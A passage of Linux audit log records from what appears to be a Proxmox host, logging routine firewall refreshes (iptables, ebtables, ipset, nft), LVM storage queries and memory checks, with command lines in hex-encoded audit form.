proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964775577,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.577:62548): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966154601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966154.601:68656): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.573:62547): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.586:68655): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.573:62546): argc=1 a0=\"date\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.586:68654): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.569:62544): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.586:68653): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775563,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.563:62543): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.577:68652): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775557,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.557:62542): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.577:68651): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775550,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.550:62541): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966150.577:68650): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775543,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.543:62540): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.789:68649): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964775538,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.538:62538): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966145785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.785:68648): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964775533,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.533:62537): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.784:68647): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775529,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.529:62536): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.784:68646): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775524,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.524:62535): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.778:68645): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775518,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.518:62534): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966145768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.768:68644): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.513:62533): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966145760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.760:68643): proctitle=\"iptables-save\""} {"@timestamp":1781964775507,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.507:62532): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.752:68642): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.501:62531): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.743:68641): proctitle=\"iptables-save\""} {"@timestamp":1781964775497,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.497:62530): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966145740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.740:68640): proctitle=\"ebtables-restore\""} {"@timestamp":1781964775494,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.494:62529): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966145737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.737:68639): proctitle=\"ebtables-restore\""} {"@timestamp":1781964775493,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.493:62528): argc=1 a0=\"date\""} {"@timestamp":1781966145730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.730:68638): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.488:62526): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966145720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.720:68637): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964775482,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.482:62525): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145714,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.714:68636): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964775473,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.473:62524): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145707,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.707:68635): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964775469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.469:62523): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966145701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.701:68634): proctitle=697073657400726573746F7265"} {"@timestamp":1781964775463,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.463:62522): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966145693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.693:68633): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775457,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.457:62521): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966145684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.684:68632): proctitle=\"iptables-save\""} {"@timestamp":1781964774735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964774.735:62520): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966145680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.680:68631): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964774702,"@rawstring":"node=pve type=EXECVE msg=audit(1781964774.702:62519): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966145677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.677:68630): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964770.583:62518): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.676:68629): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=EXECVE msg=audit(1781964770.576:62515): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.676:68628): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.566:62512): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.670:68627): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.558:62509): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.660:68626): proctitle=\"ip6tables-save\""} {"@timestamp":1781964765446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.446:62506): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966145651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.651:68625): proctitle=\"iptables-save\""} {"@timestamp":1781964765443,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.443:62505): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966145644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.644:68624): proctitle=69707365740073617665"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.442:62504): argc=1 a0=\"date\""} {"@timestamp":1781966145636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.636:68623): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.438:62502): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966145627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.627:68622): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964765432,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.432:62501): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.572:68621): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765426,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.426:62500): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.572:68620): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765420,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.420:62499): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.572:68619): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765414,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.414:62498): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.561:68618): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765409,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.409:62496): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.561:68617): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765404,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.404:62495): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966145.561:68616): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765399,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.399:62494): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966144465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966144.465:68615): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964765394,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.394:62493): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966144431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966144.431:68614): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964765390,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.390:62492): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966141.160:68613): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964765385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.385:62491): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966141.160:68612): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964765378,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.378:62490): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966141158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966141.158:68611): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964765373,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.373:62489): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.552:68610): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765369,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.369:62488): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.552:68609): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765366,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.366:62487): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.552:68608): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.365:62486): argc=1 a0=\"date\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.535:68607): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.361:62484): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.535:68606): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765355,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.355:62483): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966140.535:68605): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964765348,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.348:62482): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.614:68604): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964765344,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.344:62481): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966135610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.610:68603): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964765338,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.338:62480): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966135609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.609:68602): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964765331,"@rawstring":"node=pve type=EXECVE msg=audit(1781964765.331:62479): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966135609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.609:68601): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964764637,"@rawstring":"node=pve type=EXECVE msg=audit(1781964764.637:62478): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966135602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.602:68600): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964764608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964764.608:62477): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966135594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.594:68599): proctitle=\"ip6tables-save\""} {"@timestamp":1781964760546,"@rawstring":"node=pve type=EXECVE msg=audit(1781964760.546:62476): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135584,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.584:68598): proctitle=\"iptables-save\""} {"@timestamp":1781964760540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964760.540:62473): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.575:68597): proctitle=\"ip6tables-save\""} {"@timestamp":1781964759915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964759.915:62470): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966135567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.567:68596): proctitle=\"iptables-save\""} {"@timestamp":1781964759915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964759.915:62469): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966135563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.563:68595): proctitle=\"ebtables-restore\""} {"@timestamp":1781964759914,"@rawstring":"node=pve type=EXECVE msg=audit(1781964759.914:62468): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966135560,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.560:68594): proctitle=\"ebtables-restore\""} {"@timestamp":1781964755533,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.533:62467): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.554:68593): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.524:62464): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.548:68592): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964755321,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.321:62461): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966135542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.542:68591): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966135536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.536:68590): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964755318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.318:62460): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.531:68589): proctitle=697073657400726573746F7265"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.317:62459): argc=1 a0=\"date\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.526:68588): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.313:62457): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.526:68587): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755307,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.307:62456): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.526:68586): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755300,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.300:62455): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.522:68585): proctitle=\"ip6tables-save\""} {"@timestamp":1781964755295,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.295:62454): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.515:68584): proctitle=\"iptables-save\""} {"@timestamp":1781964755287,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.287:62453): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.517:68583): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755282,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.282:62451): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.517:68582): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755277,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.277:62450): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.517:68581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755271,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.271:62449): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966135511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.511:68580): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964755267,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.267:62448): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966135508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.508:68579): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964755262,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.262:62447): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.507:68578): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964755258,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.258:62446): argc=2 a0=\"ipset\" a1=\"restore\""} 